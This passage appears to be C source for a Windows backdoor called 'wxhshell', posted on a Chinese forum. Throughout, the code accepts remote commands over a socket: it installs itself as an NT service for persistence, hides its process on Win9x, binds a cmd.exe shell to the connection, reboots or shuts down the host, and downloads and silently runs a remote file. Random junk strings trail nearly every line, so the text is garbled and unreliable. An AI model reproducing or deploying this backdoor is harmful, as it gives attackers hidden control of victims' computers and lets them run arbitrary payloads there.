  else { TBQ68o  
D`!BjhlW  
    switch(cmd[0]) { q_`j-!  
  !bCL/[  
  // 帮助 =nc;~u|]  
  case '?': { 5h^BXX|Y*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r&B0 -7r  
    break; 6}Tftw$0z  
  } S)wP];]`K  
  // 安装 .0RQbc9  
  case 'i': { W)J5[p?  
    if(Install()) P0(LdZH6u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @1&"S7@}u  
    else ?u?mSO/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iAk.pH]a  
    break; B(vCi^  
    } Z<^EZX3N  
  // 卸载 [7~AWZU3  
  case 'r': { J$5 G8<d>  
    if(Uninstall()) >5Lp;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `q* p-Ju'  
    else ~x/ka43  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y!}XlllV  
    break; ef&8L  
    } z^.dYb7<  
  // 显示 wxhshell 所在路径 hcRe,}wJ  
  case 'p': { jP_s(PQ  
    char svExeFile[MAX_PATH]; ~_"V7  
    strcpy(svExeFile,"\n\r"); [>pBz3fn,  
      strcat(svExeFile,ExeFile); +WR?<*_  
        send(wsh,svExeFile,strlen(svExeFile),0); oQ/T5cOj  
    break; oIx|)[  
    } (~{Y}n]s  
  // 重启 94dd )/a  
  case 'b': { ,%N[FZ`|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xP9h$!  
    if(Boot(REBOOT)) 0A~UuH0.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3(|,:"9g  
    else { $N}t)iA  
    closesocket(wsh); ~/)]`w  
    ExitThread(0); dI%ho<zm]  
    } m a@V>*u  
    break; #qF 1z}L(  
    } =Hn--DEMg  
  // 关机 /3^XJb$Sa  
  case 'd': { iymN|KdpaZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RPf<-J:t  
    if(Boot(SHUTDOWN)) Oso**WUOZ&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qc?W;Q+  
    else { p%sizn  
    closesocket(wsh); t2OBVzK  
    ExitThread(0); ABe25Sus  
    } lVq5>:'}^;  
    break; 9kF0H a}J  
    } l4U*Lv>   
  // 获取shell 4lc|~Fj++  
  case 's': { %`T}%B  
    CmdShell(wsh); chUYLX}45  
    closesocket(wsh); 4@Db $PHs  
    ExitThread(0); U*\K<fw   
    break; l4r >#n\yj  
  } ];6955I!  
  // 退出 0asP,)i  
  case 'x': { {D..(f1*u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~CV.Ci.dG  
    CloseIt(wsh); :;+_<pk  
    break; ]dJ"_  
    } ~&RrlFh  
  // 离开 G'}N?8s1  
  case 'q': { dL'oKh,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |?{V-L  
    closesocket(wsh); +y'2 h%>h[  
    WSACleanup(); cAwqIihZ  
    exit(1); nh@JGy*L  
    break; 0x5Ax=ut  
        } j\bp# +  
  } $H)!h^7^9  
  } )$i,e`T   
+"BJjxG  
  // 提示信息 [ei~Xkzkj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I}|a7,8   
} R6fkc^  
  } iEr?s-or  
ilJ`_QN  
  return; g~.#.S ds  
} Haktr2I  
P;z\vq<h  
// shell模块句柄 C"**>OGe  
int CmdShell(SOCKET sock) + jwk4BU  
{ `|Di?4+6%  
STARTUPINFO si; #|Lsi`]+  
ZeroMemory(&si,sizeof(si)); *'A*!=5(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'SlZ-SdR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; = <Sn&uL  
PROCESS_INFORMATION ProcessInfo; 1_f+! ns#  
char cmdline[]="cmd"; Udtz zka  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ElB[k<  
  return 0; c"lwFr9x7  
} T"za|Fo  
2AhfQ%Y=  
// 自身启动模式 < B]qqqP  
int StartFromService(void) &QfEDDJ  
{ ,'`yh|}G\  
typedef struct 'V:MppQVZ.  
{ B?-w<":!  
  DWORD ExitStatus; KU(BY}/ ^  
  DWORD PebBaseAddress; 2 G*uv+=  
  DWORD AffinityMask; aAGV\o{^  
  DWORD BasePriority; e<9 ^h)G  
  ULONG UniqueProcessId;  I2i'  
  ULONG InheritedFromUniqueProcessId; 7* Y*_cH5  
}   PROCESS_BASIC_INFORMATION; 5rck]L'  
|36%B7H  
PROCNTQSIP NtQueryInformationProcess; d;gs1]E50  
gU|:Y&lFZg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~!5Qb{^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H9ES|ZJs  
579D  
  HANDLE             hProcess; \WC,iA%Y  
  PROCESS_BASIC_INFORMATION pbi; +CdUr~6  
e_|<tYx><  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 98 5h]KQ  
  if(NULL == hInst ) return 0; v.C  
"PRHQW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8M,o)oH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q0jg(=9wP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]nRf%Vi8g  
57;0,k5Gy  
  if (!NtQueryInformationProcess) return 0; 5,^DT15a4P  
G,?a8(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8r+u!$i!H  
  if(!hProcess) return 0; !x R9I0V5  
p\;8?x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9%NsW3|  
yeta)@nH  
  CloseHandle(hProcess); U n)Xe  
Yq|_6zbYf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S{&%tj~U  
if(hProcess==NULL) return 0; ~<K,P   
jG{?>^  
HMODULE hMod; 08^f|K  
char procName[255]; `!I/6d?A  
unsigned long cbNeeded; )=K8mt0qob  
1DAU *^-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *`w>\},su  
m`8{arz2  
  CloseHandle(hProcess); J>T98y/))  
0H4|}+e  
if(strstr(procName,"services")) return 1; // 以服务启动 5ta;CG  
r`Fs"n#^-4  
  return 0; // 注册表启动 qfCZ [D  
} m5N,[^-  
7Rtjm  
// 主模块 6g#yzex  
int StartWxhshell(LPSTR lpCmdLine) hV,T889'  
{ 'JdK0w#  
  SOCKET wsl; 4FYV]p8f  
BOOL val=TRUE; L#a!fd  
  int port=0; pl@K"PRE  
  struct sockaddr_in door; G?,3Zn0  
%Ul,9qG+  
  if(wscfg.ws_autoins) Install(); JK!`uG+v  
J?Y,3cc.  
port=atoi(lpCmdLine); fP4P'eI  
`.~S/$a.&  
if(port<=0) port=wscfg.ws_port; x(EwHg>;  
`0U\|I#  
  WSADATA data; WO%pX+PoH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L58H)V3Pn  
5p~5-_JX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p JF 9Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eA]8M^  
  door.sin_family = AF_INET; xqg4b{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4,:I{P_>6B  
  door.sin_port = htons(port); Y&,}q_Z:  
t`hes $E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -lfDoNRhQ  
closesocket(wsl); %4M,f.[e  
return 1; 5 Slz ^@n  
} x5\Du63  
a;; Es  
  if(listen(wsl,2) == INVALID_SOCKET) { 9\Ff z&  
closesocket(wsl); V73/q  
return 1; PeiRe  
} > JA-G@3i  
  Wxhshell(wsl); |LLpG37_  
  WSACleanup(); |dHtv6I  
9wf"5c  
return 0; ZZHQ?p-  
v\G 7V  
} !+Y+P?  
-"H$ &p~  
// 以NT服务方式启动 k&5T-\q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )n9,?F#l  
{ E6xdPjoWy  
DWORD   status = 0; hfbu+w):  
  DWORD   specificError = 0xfffffff; {0,6- dd5  
sx7zRw >X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l-c:'n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &D-z|ZjgHi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U&*%KPy`  
  serviceStatus.dwWin32ExitCode     = 0; 9L-jlAo<  
  serviceStatus.dwServiceSpecificExitCode = 0; 1]0;2THx  
  serviceStatus.dwCheckPoint       = 0; 5Zhl@v,L%  
  serviceStatus.dwWaitHint       = 0; KCZ<#ca^  
+C7W2!I[G2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l+y;>21sTu  
  if (hServiceStatusHandle==0) return; sb_/FE5e  
cg]Gt1SU  
status = GetLastError(); Qp:m=f6@  
  if (status!=NO_ERROR) / s Apj  
{ \@h$|nb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nLk`W"irM  
    serviceStatus.dwCheckPoint       = 0; 6/g 82kqpk  
    serviceStatus.dwWaitHint       = 0; e&!c8\F  
    serviceStatus.dwWin32ExitCode     = status; 8#,_%<?UVy  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2)$-L'YS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vAop#V  
    return; "B +F6  
  } \BfMCA/  
3]}RjOTU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zNo"P[J8  
  serviceStatus.dwCheckPoint       = 0; NB^Al/V@  
  serviceStatus.dwWaitHint       = 0; ,1CmB@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tG9C(D`G  
} &F7_0iA P(  
=)jo}MB  
// 处理NT服务事件,比如:启动、停止 }|8^+V&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6~{'\Z  
{ "G*$#  
switch(fdwControl) S"^'ksL\  
{ jd5kkX8=  
case SERVICE_CONTROL_STOP: {=J:  
  serviceStatus.dwWin32ExitCode = 0; q6sb;?I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |9FrVO$M  
  serviceStatus.dwCheckPoint   = 0; UNv!G/i-5  
  serviceStatus.dwWaitHint     = 0; /7+b.h])^  
  { =\5f_g2M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G[u6X_Q  
  } tZg)VJQys  
  return; n dN*X'  
case SERVICE_CONTROL_PAUSE: >hG*=4oh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 87S,6Y  
  break; x}WP1YyT~  
case SERVICE_CONTROL_CONTINUE: ;[P>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5f0g7w =-  
  break; xbcmvJrG  
case SERVICE_CONTROL_INTERROGATE: (5+g:mSfr  
  break; :p)^+AF"5  
}; bJ6C7-w:wa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q;q{1M>  
} T?Z^2.Pvc  
\C>vj+!cJ  
// 标准应用程序主函数 j}tGcFwvSN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b-@9Xjv  
{ Lq.2vfA>  
;0 +Dx~  
// 获取操作系统版本 z9 #-  
OsIsNt=GetOsVer(); <ycR/X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o F_{oV '  
Y1ca=ewFx  
  // 从命令行安装 d9jD?HgM(  
  if(strpbrk(lpCmdLine,"iI")) Install(); sy4Nm0m  
ld({1jpX,  
  // 下载执行文件 !v%>W< 3Q  
if(wscfg.ws_downexe) { G8?Do+[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8 ?y|  
  WinExec(wscfg.ws_filenam,SW_HIDE); #v~dhx=R  
} &dni6E4  
,(sE|B#s  
if(!OsIsNt) { `]4(Z"R  
// 如果时win9x,隐藏进程并且设置为注册表启动 cZoj|=3a  
HideProc(); grkA2%N  
StartWxhshell(lpCmdLine); ]8$H'u(C  
} -,g.39u  
else .YB/7-%M[  
  if(StartFromService()) .rwW5"RPq  
  // 以服务方式启动 Ml?KnSb  
  StartServiceCtrlDispatcher(DispatchTable); k*,+ag*j  
else EASmB  
  // 普通方式启动 ; 5[W*,7s  
  StartWxhshell(lpCmdLine); Q 9f5}  
,-(D (J;}1  
return 0; Ayn$,  
}
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只看该作者 1 发表于: 2006-10-10
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